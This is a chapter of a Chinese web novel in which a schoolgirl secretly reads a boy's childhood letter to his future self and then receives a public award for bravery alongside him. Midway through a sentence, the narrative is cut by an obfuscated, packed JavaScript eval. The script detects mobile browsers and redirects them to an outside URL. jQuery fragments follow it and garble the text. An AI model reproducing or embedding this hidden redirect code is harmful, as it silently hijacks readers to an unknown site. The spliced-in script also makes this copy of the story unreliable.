偷看别人的信是不礼貌的。
但当喻鑫意识到这一点时，手已经不自觉展开了这泛黄发脆的信纸。
“十八岁的闻叙：
你好！
这是我搬来昌瑞的第四十六天了，妈妈说，爸爸要在这里创业。我虽然不懂什么是创业，但我知道大人们都有大人们的道理，我只要乖乖听话就好，可是，我真的有点不喜欢这里。
现在住的房子附近总是臭臭的，还很吵。每天我都能看见有人在骂人、打架，听见有人在哭，有东西被砸碎。但是妈妈很好，妈妈在家里放了好多香香的花，每次有人吵架，她都会捂住我的耳朵，她说我们以后会离开这里的。
我知道爸爸妈妈很辛苦，前天深夜，妈妈接到了医院的电话，说是爸爸被送到医院了。虽然后来我问妈妈，她说是我在做梦，爸爸这几天只是出差了。
所以我从没有告诉他们我不喜欢这里，也没有说大家都不跟我玩。他们说着我听不懂的方言，指着我笑，让我滚出这里。
有一次，他们甚至喊来了一个上高年级的大哥哥，追着要打我。我好害怕，就一直跑一直跑，慌不择路间，躲进了一个突然出现的废弃的工厂里。
我在里面走啊走，不小心迷了路。那次我好害怕，以为自己再也回不去了，可是一转眼，我居然发现了一座没有人的儿童乐园。
虽然这里有些脏脏的，可我还是很开心，一个人从早玩到了晚。这里终于没有人和我抢玩具，我再也不用在夜里等他们都回家后，悄悄去公园滑滑梯。
妈妈说，我和那些小朋友的关系真好呀，每天都要一起出去玩。
我没有告诉她真相，可是我觉得我也没有在撒谎。这里都是我的朋友，滑滑梯叫‘小象’，我现在靠着的树叫‘大绿’，坐着的草叫‘小绿’，它们都是我最好的朋友，不会打我，不会骂我，只会一直陪着我，听我说话。
总之，我现在过得挺好的，你呢，十八岁的我自己，你过得好吗？
你离开这里了吗，新家是不是又香又安静，没有人在楼道抽烟吐痰，路上也没有喝醉的大人拦下你。
你交到朋友了吗，他们会嫌弃你是外地人吗，你们会不会一起去溜冰？我看高年级的大哥哥们都是这么玩的。
爸爸妈妈还是很辛苦吗？如果是的话，你长大了，要记得多多为他们分担，现在我吃饭的碗都是我自己洗的呢！
还有……你快乐吗？
你还会躲在‘小象’里哭吗？
长大后的世界会比现在更好，还是更坏？
请记得给我回信。
八岁的闻叙”
无比稚拙的字迹，夹杂着别字和拼音，纸上还有着湿润后又风干的褶皱。
就这么窥探到别人秘密的喻鑫一瞬有些无措，她以为会看到类似于“你有没有发大财”“有没有考上好学校”之类的愿望，没想到无意戳破了一个小男孩孤单悲伤的童年心事。
她已经是个高中生了，即将迈入成年人的大门，但即便如此，身处异地的她，泪水也常常打湿枕头。
她无法想象一个八岁的小男孩在面对这一切时会是多无助，他害怕得一直跑一直跑，穿过货车疾驰的马路，钻进那个仿佛为他量身打造的狭小洞口。
他一定也看到了那些血红的标语，那好似人影般飘摇的窗帘，那驻守水厂的参天巨人，他的恐惧一定不比她小。
好在就像童话里的荆棘后是花丛，阴暗荒凉的废弃水厂后，有着一座彩色的儿童乐园。
他会不知疲倦地一遍遍玩着小象滑梯，当然有时，也会默默躲在滑梯里哭。
喻鑫起身上前，滑梯很矮，她能一眼看到高处的洞口，昏暗又狭小。
她小心翼翼地伸出手，探进洞口对着空气摸了摸。
恍惚间，她仿佛看见一个小男孩停住眼泪，茫然地摸摸被她揉乱的后脑勺，抬头看向她，笑了一下。
回到“大绿”附近，坐在早已没有“小绿”只剩干土的地上，喻鑫小心细致地叠好信纸，放回盒中。
现在的问题是，她要不要把信交给闻叙？
距离约定的18岁还有一年，也许它应该继续被埋在那里。
那……要不要告诉闻叙，她不小心知道了他的秘密？
别人的秘密是可以拿来利用的。
这是母亲曾经教会她的。
老家附近菜场有个卖菜的阿姨，有一次，母亲无意撞破了她和同菜场一个屠户的不伦关系。
后来，母亲每次去买菜时，都能比别人多拿一捆菜，多拿半块肉。
也许，手握这个秘密，她可以将一个月的限期延长。
喻鑫低下头，用十指刨着土，将铁盒重新埋好。
可是她不想那个小男孩再受一次伤害。
长大后的世界好吗？
她不知道闻叙的答案。
对她来说，现在的世界看起来不太好，但至少，她不希望自己成为小男孩世界中的“不好”之一。
-
大概是假期前几日的生活过分“波澜壮阔”，便显得后面几天的假期颇为无趣，甚至有些烦闷。
寄人篱下的日子并不好过，全天候在家的她，自然也要全天候看人脸色。她会帮着洗碗洗衣扫地拖地，但依然要学习姑姑每一声“啧”背后，到底蕴含着什么意思。
“你妈简直和你大姑一模一样。”她想起父亲生前曾这么说。
但真正相处下来，喻鑫觉得不是的。
只是父亲习惯把所有难以掌控的女人归为同一类，并且和姑父一样，用沉默应对万物。
母亲和姑姑是不一样的。
而父亲和姑父，倒确是很相似。
所有人在哀叹假期稍纵即逝时，喻鑫却松了一口气。
她甚至觉得五点半的闹铃很悦耳，用鼻孔看人的保安很可亲，就连总是冷眼看她的同学——
欸？他们确实是在看她，但眼神好像不太一样。
朱恪又造什么谣了？
她还在努力去猜，就见班主任站在门口，朝她招招手。
喻鑫穿过早读的人群，茫然地跟上了班主任的步伐。
她不知道自己到底犯了什么错，作业都完成了，也没有迟到，难道又和闻叙有关？对不起老师，我再也不撒谎了，我没有真的早恋……
她上一秒还在十级风暴的头脑，下一秒瞬间被办公室乌泱泱的人群击蒙。黑洞洞的镜头齐齐转向自己，闪光灯闪得她眼都睁不开。
在一群人七嘴八舌的讲述中，喻鑫勉强拼凑出了个大概。
确实和闻叙有关，就因为她假期挥凳砸飞了老板的刀，警局将事情上报，市里决定给予她见义勇为的奖章，学校也打算好好表彰她。
一上午，喻鑫都没怎么好好上课。
大到省电
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669584|173090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
视台的记者，小到校广播站的广播员，一个接一个地采访她，问些大同小异的问题。一个个不清楚名字不清楚职位的领导挨个找她拍照，她的脸都快笑酸了。
大概只有初中夺得运动会八百米冠军时，才获得过如此多瞩目。
但初中运动会可不会放在省电视台的晚八黄金时段播出啊。
喻鑫晕乎乎地和不知道哪位大领导寒暄完，身前又被推来一个人，她正准备打起精神继续应付时，嗅觉比头脑率先清醒。
老领导身上的烟味，助理头上的摩丝味，记者身上的香水味……全部聚集这狭小的空间内，搅和成黏糊凝滞的空气，令她昏头转向。
就像每次晕车时会做的那样——从书包侧兜拿出一枚用塑料袋包着的橘子，剥开，汁水四溅，冲破了这厚重的空气。
喻鑫仰头去看他的眼，忽而有种安心的感觉。
身为当事人之一，闻叙自然也被邀请到场。
他已经在隔壁的办公室接受完了单人采访，此刻被邀请到这里，两人一同进行合影。
人群团团围困的狭小空间内，她的肩不得不抵着他的臂膀。垂在身侧的手自然微曲，却在骨节相撞的那刻，慌忙伸直。
喻鑫不安地咽了下口水。
恰在此刻，闪光灯闪了一下。
人群就此散开，摄影师也低头开始查看相机，喻鑫半张着嘴，想说她刚刚没准备好，到底没好意思说出口。
之前一堆领导合照里，不知有多少次她眼睛没完全睁开、笑容没摆好，也没想着再拍一次。
她不知道为什么她特别在乎这张。
“辛苦了。”人实在太多，班主任像条泥鳅一样好不容易钻到她面前，拍拍她的肩，“你们回去上课吧。”
钻到包围圈中心不容易，钻出去更是如此。
喻鑫的视野被一群高个儿挡了个严严实实，她连办公室的门都看不见，一瞬失去了方向。
尚在迷茫着，手腕被人一把扣住。
众人还在喧闹，寒喧声和奉承声此起彼伏，人群骈肩累迹，织成一张不透风的网。
不过，这都不是她需要操心的事。
她要做的就是把手交给闻叙，循着他开辟的道路前进。他会在前面说着“借过”“抱歉”，会侧身强行拓开每条缝，在有人试图挤到两人中间时，也会稍稍用力将她拉近自己。
直到看见外面明媚的天光，喻鑫舒了一口气。
就好像在里面待了一个世纪那么久。
手腕一轻，低头，是他收回了手，只是没收干净，留下了几道浅红的指痕。
喻鑫下意识转了转手腕，忽而有点陌生这种自由的感觉。
“弄疼你了？”看见她的动作，闻叙问。
“啊，没有。”喻鑫忙摇头，“谢谢你，不然我都不知道什么时候才能出来。”
“不用谢。”
此刻正值上课时间，走廊上静得出奇，唯有各班老师被扩音器放大后，带着磁性的讲课声。
这种绝非本意的逃课，有种莫名的刺激。
只是明明之前在人群里贴得极紧，这会儿空无一人，反而有几分尴尬。
没等到下句的闻叙再度开口：“那我先回去上课了。”
“那个。”在他迈出第一步时，喻鑫下意识道。
闻叙不解回头：“嗯？”
“……可以不去吗？”